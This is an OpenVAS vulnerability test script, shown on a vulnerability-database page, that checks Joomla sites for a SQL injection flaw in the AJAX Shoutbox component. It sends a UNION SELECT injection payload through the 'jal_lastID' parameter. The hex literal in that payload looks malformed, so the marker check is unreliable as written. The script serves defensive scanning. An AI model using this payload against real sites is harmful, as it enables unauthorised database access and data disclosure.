Joomla Component AJAX Shoutbox SQL Injection Vulnerability

2014-03-18T00:00:00
ID OPENVAS:1361412562310804338
Type openvas
Reporter Copyright (C) 2014 Greenbone Networks GmbH
Modified 2020-05-08T00:00:00

Description

This host is installed with Joomla! component ajax shoutbox and is prone to sql injection vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# Joomla Component AJAX Shoutbox SQL Injection Vulnerability
#
# Authors:
# Shakeel <bshakeel@secpod.com>
#
# Copyright:
# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804338");
  script_version("2020-05-08T08:34:44+0000");
  script_bugtraq_id(66261);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2014-03-18 10:00:07 +0530 (Tue, 18 Mar 2014)");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Joomla Component AJAX Shoutbox SQL Injection Vulnerability");

  script_tag(name:"summary", value:"This host is installed with Joomla! component ajax shoutbox and is prone to
sql injection vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it is
possible to execute sql query or not.");

  script_tag(name:"insight", value:"The flaw is due to insufficient validation of 'jal_lastID' HTTP GET
parameter passed to 'index.php' script.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to inject or manipulate SQL
queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"Joomla AJAX Shoutbox version 1.6 and probably earlier.");

  script_tag(name:"solution", value:"Upgrade to Joomla AJAX Shoutbox version 1.7 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/57450");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/32331");
  script_xref(name:"URL", value:"http://extensions.joomla.org/extensions/communication/shoutbox/43");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/joomla-ajax-shoutbox-sql-injection");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/125721/Joomla-AJAX-Shoutbox-SQL-Injection.html");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl");
  script_mandatory_keys("joomla/installed");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"http://batjo.nl/shoutbox");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!http_port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:http_port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/?mode=getshouts&jal_lastID=1337133713371337+union+select+c" +
             "oncat(0x673716C2D696E6A656374696F6E2D74657374),1,1,1,1,1";

if (http_vuln_check(port: http_port, url: url, check_header: TRUE, pattern: "sql-injection-test")) {
  report = http_report_vuln_url(port: http_port, url: url);
  security_message(port: http_port, data: report);
  exit(0);
}

exit(99);